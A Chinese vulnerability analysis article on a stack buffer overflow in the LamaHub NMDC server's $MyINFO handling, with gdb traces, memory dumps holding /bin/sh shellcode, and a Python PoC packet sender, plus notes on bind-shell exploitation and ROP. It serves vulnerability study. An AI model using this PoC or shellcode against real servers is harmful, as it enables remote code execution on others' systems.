从NMDC看简单协议漏洞分析(二)

2016-10-17 08:49:00 作者:红黑联盟 分类 : 比特网

  从NMDC到LamaHub漏洞

  LamaHub是NMDC协议的一个服务端,在LamaHub服务器处理客户端请求的时候,通过构造特殊的NMDC协议数据包,可以导致LamaHub在处理$MyINFO指令请求的时候产生缓冲区溢出,从而远程执行任意代码,下面对此漏洞进行分析。

  首先部署LamaHub,用gdb attach,运行PoC,服务端崩溃,可以查看崩溃时的信息

  gdb-peda$ run

  Starting program: /root/Desktop/0.0.6.2/server

  > ERROR -> Plugin -> File plugins.conf dont found

  > init () -> OK

  > started on port -> 4111

  > new client -> 127.0.0.1 -> 4

  Program received signal SIGSEGV, Segmentation fault.

  [----------------------------------registers-----------------------------------]

  EAX: 0x1

  EBX: 0x2c2c2c2c (',,,,')

  ECX: 0x0

  EDX: 0x5

  ESI: 0x2c2c2c2c (',,,,')

  EDI: 0x2c2c2c2c (',,,,')

  EBP: 0x2c2c2c2c (',,,,')

  ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0

  EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")

  EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

  [-------------------------------------code-------------------------------------]

  0x8066a27 :push esi

  0x8066a28 :popa

  0x8066a29 :ins BYTE PTR es:[edi],dx

  => 0x8066a2a :imul esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65

  0x8066a32 :imul esp,DWORD PTR [eax],0x50

  0x8066a35 :imul esp,DWORD PTR [ebp+0x72],0x247c6572

  0x8066a3c :push esi

  0x8066a3d :outs dx,BYTE PTR gs:[esi]

  [------------------------------------stack-------------------------------------]

  0000| 0xbffff2c0 --> 0x80626d6 --> 0x0

  0004| 0xbffff2c4 --> 0xb1b1b1b1

  0008| 0xbffff2c8 --> 0xb1b1b1b1

  0012| 0xbffff2cc --> 0xb1b1b1b1

  0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")

  0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")

  0024| 0xbffff2d8 --> 0xcacaca24

  0028| 0xbffff2dc --> 0x505a20ca

  [------------------------------------------------------------------------------]

  Legend: code, data, rodata, value

  Stopped reason: SIGSEGV

  0x08066a2a in buf ()

  可以看到,此时程序处于08066a2a地址位置,通过PoC,此时是处于返回地址eip部署的恶意地址,这个是PoC给出的,根据系统可以修改eip地址使其跳转到shellcode,通过bt查看一下堆栈回溯。

  gdb-peda$ bt

  #0 0x08066a2a in buf ()

  #1 0x080626d6 in buf ()

  #2 0xb1b1b1b1 in ?? ()

  #3 0xb1b1b1b1 in ?? ()

  Backtrace stopped: previous frame inner to this frame (corrupt stack?)

  由于NMDC数据包构造的原因,后续堆栈已经被畸形payload覆盖,导致回溯失败,通过正向分析可以找到这个漏洞的成因。

  通过IDA pro分析可以找到两处recv,在LamaHub接收数据的时候势必会调用recv函数,在这两处recv下断点。

  gdb-peda$ b *0x08052ef7

  Breakpoint 1 at 0x8052ef7

  gdb-peda$ r

  Starting program: /root/Desktop/0.0.6.2/server

  > init () -> OK

  > started on port -> 4111

  > new client -> 127.0.0.1 -> 4

  [----------------------------------registers-----------------------------------]

  EAX: 0x4

  EBX: 0x806c610 --> 0x80670c0 (0x0806c610)

  ECX: 0x4

  EDX: 0x10

  ESI: 0x0

  EDI: 0x0

  EBP: 0xbffff438 --> 0x0

  ESP: 0xbffff3f0 --> 0x4

  EIP: 0x8052ef7 (:call 0x8049210 )

  EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)

  [-------------------------------------code-------------------------------------]

  0x8052eea :push 0x8066a00

  0x8052eef :push ecx

  0x8052ef0 :mov BYTE PTR ds:0x8066a00,0x0

  => 0x8052ef7 :call 0x8049210

  0x8052efc :add esp,0x10

  0x8052eff :test eax,eax

  0x8052f01 :mov ds:0x8062b04,eax

  0x8052f06 :je 0x8052f40

  Guessed arguments:

  arg[0]: 0x4

  arg[1]: 0x8066a00 --> 0x0

  arg[2]: 0x3ff

  arg[3]: 0x0

  发送payload后,程序命中了一处断点,之后单步步过。

  gdb-peda$ n

  [----------------------------------registers-----------------------------------]

  EAX: 0x1b1

  EBX: 0x806c610 --> 0x80670c0 (0x0806c610)

  ECX: 0xbffff3f0 --> 0x4

  EDX: 0x806c610 --> 0x80670c0 (0x0806c610)

  ESI: 0x0

  EDI: 0x0

  EBP: 0xbffff438 --> 0x0

  ESP: 0xbffff3f0 --> 0x4

  EIP: 0x8052efc (:add esp,0x10)

  EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)

  [-------------------------------------code-------------------------------------]

  0x8052eef :push ecx

  0x8052ef0 :mov BYTE PTR ds:0x8066a00,0x0

  0x8052ef7 :call 0x8049210

  => 0x8052efc :add esp,0x10

  0x8052eff :test eax,eax

  0x8052f01 :mov ds:0x8062b04,eax

  0x8052f06 :je 0x8052f40

  0x8052f08 :mov BYTE PTR [eax+0x8066a00],0x0

  Legend: code, data, rodata, value

  0x08052efc in loop ()

  可以看到,此时堆0x08066a00位置接收了数据包并且进行了保存,查看一下这个堆中的内容。

  gdb-peda$ x/100x 0x08066a00

  0x8066a00 :0x707553240x74726f700x735520730x206f6c6c

  0x8066a10 :0x203250490x637261650x505a20680x7c203065

  0x8066a20 :0x79654b240x56247c610x64696c610x4e657461

  0x8066a30 :0x206b63690x726569500x247c65720x206e6556

  0x8066a40 :0x30302c310x247c31390x4e0001470x4c6b633b

  0x8066a50 :0x7c7473690x49794d240x204f464e0x4c4c4124

  0x8066a60 :0x656950200x206572720x9090654a0x90909090

  0x8066a70 :0x909090900x909090900x909090900x90909090

  0x8066a80 :0x909090900x909090900x6850c0310x68732f2f

  0x8066a90 :0x69622f680x31e3896e0x6aca89c90x80cd580b

  0x8066aa0 :0x909090900x909090900x909090900x90909090

  0x8066ab0 :0x909090900x909090900x909090900x90909090

  0x8066ac0 :0x909090900x909090900x3c6190900x794d243c

  0x8066ad0 :0x243500800x302469700x373737240x37373737

  0x8066ae0 :0x373737370xb1b1b1370xb1b1b1b10xb1b1b1b1

  畸形数据已经全被被接收了,接下来单步跟踪。在接收到数据之后,会到达一处调用,地址为0x8052e82的call parse_token,这个主要是负责验证逻辑。

  gdb-peda$ n

  [----------------------------------registers-----------------------------------]

  EAX: 0x1b1

  EBX: 0x806c610 --> 0x80670c0 (0x0806c610)

  ECX: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

  EDX: 0x806c610 --> 0x80670c0 (0x0806c610)

  ESI: 0x0

  EDI: 0x0

  EBP: 0xbffff438 --> 0x0

  ESP: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

  EIP: 0x8052e82 (:call 0x8050cf0

  )

  EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)

  [-------------------------------------code-------------------------------------]

  0x8052e7b :push eax

  0x8052e7c :push 0x8066a00

  0x8052e81 :push ebx

  => 0x8052e82 :call 0x8050cf0

  0x8052e87 :add esp,0x10

  0x8052e8a :cmp eax,0xffffffff

  0x8052e8d :je 0x8052f4c

  0x8052e93 :sub esp,0xc

  Guessed arguments:

  arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)

  arg[1]: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")

  arg[2]: 0x1b1

  可以看到这处验证逻辑第二个参数就是畸形payload,接下来分析这处验证逻辑。通过IDA pro查看一下这个函数伪代码。

  int __cdecl parse_token(void *a1, char *src, size_t a3)

  {

  ……省略部分代码

  LABEL_19:

  v11 = v3;

  *(&token_buf + n) = 0;

  result = proto_state_handler(a1, &token_buf, n);

  v3 = v11;

  if ( result == -1 )

  return -1;

  goto LABEL_12;

  }

  }

  else if ( !(n & 1) )

  {

  goto LABEL_19;

  }

  v8[v10] = v9[v10];

  goto LABEL_19;

  }

  return result;

  }

  在LABEL_19块中,调用了一个函数proto_state_handler,主要是负责处理协议句柄的,其中涉及到一个token_buf,单步跟踪观察这个proto_state_handler函数调用的传参情况。注意看stack栈中的情况。

  [----------------------------------registers-----------------------------------]

  EAX: 0x20 (' ')

  EBX: 0x0

  ECX: 0x0

  EDX: 0x1b1

  ESI: 0x8066a20 ("$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")

  EDI: 0x8062720 --> 0x0

  EBP: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")

  ESP: 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

  EIP: 0x8050ddb (

  :call 0x80551b0

  )

  EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)

  [-------------------------------------code-------------------------------------]

  0x8050dcb

  :push 0x8062700

  0x8050dd0

  :push DWORD PTR [esp+0x24]

  0x8050dd4

  :mov BYTE PTR [eax+0x8062700],0x0

  => 0x8050ddb

  :call 0x80551b0

  0x8050de0

  :add esp,0x10

  0x8050de3

  :cmp eax,0xffffffff

  0x8050de6

  :mov edx,DWORD PTR [esp+0x1c]

  0x8050dea

  :jne 0x8050d78

  No argument

  [------------------------------------stack-------------------------------------]

  0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

  0004| 0xbffff3a4 --> 0x8062700 ("$Supports Usllo IP2 earch ZPe0 |")

  这个token_buf的内容是$Supports,其实这个主要是NDMC的协议处理,而在parse_token的开始部分,会先处理这个数据包,将数据包内容拆分。接下来直接执行,会第二次到达断点。

  [-------------------------------------code-------------------------------------]

  0x8050dcb

  :push 0x8062700

  0x8050dd0

  :push DWORD PTR [esp+0x24]

  0x8050dd4

  :mov BYTE PTR [eax+0x8062700],0x0

  => 0x8050ddb

  :call 0x80551b0

  0x8050de0

  :add esp,0x10

  0x8050de3

  :cmp eax,0xffffffff

  0x8050de6

  :mov edx,DWORD PTR [esp+0x1c]

  0x8050dea

  :jne 0x8050d78

  No argument

  [------------------------------------stack-------------------------------------]

  0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

  0004| 0xbffff3a4 --> 0x8062700 ("$Keya|")

  继续执行,第三次命中

  [-------------------------------------code-------------------------------------]

  0x8050dcb

  :push 0x8062700

  0x8050dd0

  :push DWORD PTR [esp+0x24]

  0x8050dd4

  :mov BYTE PTR [eax+0x8062700],0x0

  => 0x8050ddb

  :call 0x80551b0

  0x8050de0

  :add esp,0x10

  0x8050de3

  :cmp eax,0xffffffff

  0x8050de6

  :mov edx,DWORD PTR [esp+0x1c]

  0x8050dea

  :jne 0x8050d78

  No argument

  [------------------------------------stack-------------------------------------]

  0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

  0004| 0xbffff3a4 --> 0x8062700 ("$ValidateNick Pierre|")

  可以看到每次都获取到|分割线后的内容,接下来直接执行到包含畸形字符串的部分。

  [-------------------------------------code-------------------------------------]

  0x8050dcb

  :push 0x8062700

  0x8050dd0

  :push DWORD PTR [esp+0x24]

  0x8050dd4

  :mov BYTE PTR [eax+0x8062700],0x0

  => 0x8050ddb

  :call 0x80551b0

  0x8050de0

  :add esp,0x10

  0x8050de3

  :cmp eax,0xffffffff

  0x8050de6

  :mov edx,DWORD PTR [esp+0x1c]

  0x8050dea

  :jne 0x8050d78

  No argument

  [------------------------------------stack-------------------------------------]

  0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

  0004| 0xbffff3a4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

  0008| 0xbffff3a8 --> 0x144

  0012| 0xbffff3ac --> 0x0

  0016| 0xbffff3b0 --> 0xbffff438 --> 0x0

  0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785

  0024| 0xbffff3b8 --> 0x79 ('y')

  0028| 0xbffff3bc --> 0x197

  [------------------------------------------------------------------------------]

  第二个参数作为畸形字符串传入,其中涉及到指令$MyINFO,就从这里跟入看看函数内部到底发生了什么。

  int proto_state_handler (user_t *u, char *data, unsigned int len)

  {

  switch (u->state) {

  case PROTO_STATE_INIT:// new user connected

  return proto_nmdc_state_init (u);

  case PROTO_STATE_SENDLOCK:// waiting for user $Key

  return proto_nmdc_state_sendlock (u, data, len);

  case PROTO_STATE_WAITNICK:// waiting for user $ValidateNick

  return proto_nmdc_state_waitnick (u, data, len);

  case PROTO_STATE_WAITPASS:// waiting for user $GetPass

  return proto_nmdc_state_waitpass (u, data, len);

  case PROTO_STATE_HELLO:// waiting for user $MyINFO

  return proto_nmdc_state_hello (u, data, len);

  case PROTO_STATE_ONLINE:// user is avaible now

  return proto_nmdc_state_online (u, data, len);

  case PROTO_STATE_DISCONNECTED:// user gone out $Quit

  return proto_nmdc_state_disconnect (u);

  }

  进入后会到达一处switch逻辑,这个switch会根据user_t的类型进行判断,根据情况进行处理,在$MyINFO会进入proto_nmdc_state_hello函数。

  gdb-peda$ n

  [----------------------------------registers-----------------------------------]

  EAX: 0x4

  EBX: 0x806c610 --> 0x80670c0 (0x0806c610)

  ECX: 0x0

  EDX: 0x1b1

  ESI: 0x8066b98 ("$Keya|$V A 0a|$Vick Pi\312\312\n")

  EDI: 0x8062844 --> 0x0

  EBP: 0x8066a54 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

  ESP: 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

  EIP: 0x805534a (

  :call 0x80539e0

  )

  EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)

  [-------------------------------------code-------------------------------------]

  0x805533b

  :push DWORD PTR [esp+0xdc]

  0x8055342

  :push DWORD PTR [esp+0xdc]

  0x8055349

  :push ebx

  => 0x805534a

  :call 0x80539e0

  0x805534f

  :add esp,0x10

  0x8055352

  :add esp,0xc0

  0x8055358

  :pop ebx

  0x8055359

  :pop esi

  Guessed arguments:

  arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)

  arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

  arg[2]: 0x144

  进入之后会根据$MyINFO内部的内容进行一些处理。比如

  gdb-peda$ n

  [----------------------------------registers-----------------------------------]

  EAX: 0x13

  EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

  ECX: 0x7

  EDX: 0x6

  ESI: 0x8062702 ("yINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

  EDI: 0x805ac4b ("$MyINFO")

  EBP: 0x0

  ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001

  EIP: 0x8053a3d (

  :mov esi,ebx)

  EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

  [-------------------------------------code-------------------------------------]

  0x8053a2d

  :jbe 0x8053d20

  0x8053a33

  :mov ecx,0x7

  0x8053a38

  :mov edi,0x805ac4b

  => 0x8053a3d

  :mov esi,ebx

  0x8053a3f

  :repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]

  0x8053a41

  :seta cl

  0x8053a44

  :setb al

  0x8053a47

  :sub ecx,eax

  gdb-peda$ n

  [----------------------------------registers-----------------------------------]

  EAX: 0x13

  EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

  ECX: 0x7

  EDX: 0x6

  ESI: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

  EDI: 0x805ac4b ("$MyINFO")

  EBP: 0x0

  ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001

  EIP: 0x8053a3f (

  :repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi])

  EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

  [-------------------------------------code-------------------------------------]

  0x8053a33

  :mov ecx,0x7

  0x8053a38

  :mov edi,0x805ac4b

  0x8053a3d

  :mov esi,ebx

  => 0x8053a3f

  :repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]

  0x8053a41

  :seta cl

  0x8053a44

  :setb al

  0x8053a47

  :sub ecx,eax

  0x8053a49

  :movsx ebp,cl

  Legend: code, data, rodata, value

  0x08053a3f in proto_nmdc_state_hello ()

  上述代码部分对$MyINFO中的$Hello Pierre后的指令进行处理,在后面会对这个内容进行拷贝。接下来会进入漏洞触发的关键部分。

  gdb-peda$ c

  Continuing.

  [----------------------------------registers-----------------------------------]

  EAX: 0x806c320 --> 0x80670c0 (0x0806c320)

  EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

  ECX: 0xb7e65000 (:mov DWORD PTR [edi],edx)

  EDX: 0x144

  ESI: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")

  EDI: 0x1

  EBP: 0x0

  ESP: 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")

  EIP: 0x8053f77 (

  :call 0x8048df0 )

  EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

  [-------------------------------------code-------------------------------------]

  0x8053f6e

  :push DWORD PTR [esp+0x30c]

  0x8053f75

  :push ebx

  0x8053f76

  :push esi

  => 0x8053f77

  :call 0x8048df0

  0x8053f7c

  :add esp,0xc

  0x8053f7f

  :push 0x0

  0x8053f81

  :push 0x8

  0x8053f83

  :push DWORD PTR [esp+0x30c]

  Guessed arguments:

  arg[0]: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")

  arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

  arg[2]: 0x144

  Breakpoint 6, 0x08053f77 in proto_nmdc_state_hello ()

  memcpy会将整个畸形payload考入到缓冲区中,这个过程没有对payload的长度进行检查而是直接拷贝,可以看到从recv开始到memcpy都一直没有进行长度控制,接下来返回时。

  [-------------------------------------code-------------------------------------]

  0x8053d29

  :pop esi

  0x8053d2a

  :pop edi

  0x8053d2b

  :pop ebp

  => 0x8053d2c

  :ret

  0x8053d2d

  :lea esi,[esi+0x0]

  0x8053d30

  :add esp,0x2ec

  0x8053d36

  :xor ebp,ebp

  0x8053d38

  :pop ebx

  由于缓冲区溢出,导致返回地址被覆盖,到达可控位置。

  gdb-peda$ n

  [-------------------------------------code-------------------------------------]

  0x8066a27 :push esi

  0x8066a28 :popa

  0x8066a29 :ins BYTE PTR es:[edi],dx

  => 0x8066a2a :imul esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65

  0x8066a32 :imul esp,DWORD PTR [eax],0x50

  0x8066a35 :imul esp,DWORD PTR [ebp+0x72],0x247c6572

  0x8066a3c :push esi

  0x8066a3d :outs dx,BYTE PTR gs:[esi]

  PoC构造到Exploit

  这里提供一个可以引发崩溃的PoC:

  import socket

  HOST = '192.168.25.101'

  PORT = 4111

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.connect((HOST, PORT))

  evil_buf = "$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$GetNickList|$MyINFO $ALL Pierre Je"

  evil_buf += "\x41"*120

  evil_buf += "\x61\x3c"

  evil_buf += "\x3c\x24\x4d\x79\x80\x00\x35\x24\x70\x69\x24\x30"

  evil_buf += "\x24\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37"

  evil_buf += "\x37\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"

  evil_buf += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"

  evil_buf += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"

  evil_buf += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"

  evil_buf += "\xb1\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

  evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

  evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

  evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

  evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

  evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

  evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

  evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x41\x41\x41\x41"

  evil_buf += "\xd6\x26\x06\x08\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"

  evil_buf += "\xb1\xb1\xb1\xb1\x37\x37\x30\x2c\x49\x4e\x46\x4f"

  evil_buf += "\x24\xca\xca\xca\xca\x20\x5a\x50\x65\x30\x20"

  evil_buf += " |$Keya|"

  print "Send eIVL packet!\n"

  # Send EVIL PACKET !

  s.sendall(evil_buf)

  print "Send COmplete!\n"

  s.close()

  这里可以直接引发崩溃,崩溃位置在evil_buf中的41414141,实际上这个地址就是覆盖的返回地址,修改这个返回地址,并且加上shellcode之后,通过gdb观察,可以看到eip的跳转,但是由于Lamahub开启了NX,导致shellcode无法执行。

\

  财运不好愁?貔貅为您解烦忧!

  【点击进入】

  2016最强势的招财转运秘诀! 家有貔貅,万事无忧!您奉请了吗?

  查 看

  本文主要是分析协议漏洞成因,因此我在编译Lamahub的时候在Makefile加入了-fno-stack-protector -z execstack,关闭Linux下的NX,这样就可以执行shellcode了,那么在实际攻防中,可以利用ROP gadget来绕过NX。另外我刚开始用了pwntools的shellcraft,最后想利用interactive函数来拿shell,但是后来发现shellcraft中有一个badchar /x24,这个badchar不好绕过,利用pwntools最新的encode方法也会提示无法绕过,因此换了一个shellcode,绑定/bin/sh到指定端口,完成利用。

\

最近更新
科普

科普图集
从《中国互联网+指数报告(2018)》看数字经济

从《中国互联网+指数报告(2018)》看数字经济>>详情

“互联网+”的这些新变化,你知道吗?

“互联网+”的这些新变化,你知道吗?>>详情

邮件订阅

软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯,最新的软件技巧,最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中,与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊!
网络周刊
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧,帮助网管答疑解惑,成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一,主要关注x86服务器,RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析,让您第一时间了解服务器行业的趋势。
存储周刊
比特存储周刊长期以来,为读者提供企业存储领域高质量的原创内容,及时、全面的资讯、技术、方案以及案例文章,力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
安全周刊
比特安全周刊通过专业的信息安全内容建设,为企业级用户打造最具商业价值的信息沟通平台,并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比,比特安全周刊运作模式更加独立,对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事,为企业级用户打造重点突出,可读性强,商业价值高的信息共享平台;同时为互联网、IT业界及通信厂商提供一条精准快捷,渗透力强,覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展,全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托,汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台,并持续提供丰富的资讯和服务,探讨信息化建设,推动中国信息化发展引领CIO未来职业发展。
IT专家网
IT专家新闻邮件长期以来,以定向、分众、整合的商业模式,为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容,包括IT新闻、评论、专家答疑、技巧和白皮书。此外,IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊
X周刊是一份IT人的技术娱乐周刊,给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍,同时用户还能参与我们推荐的互动游戏,给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。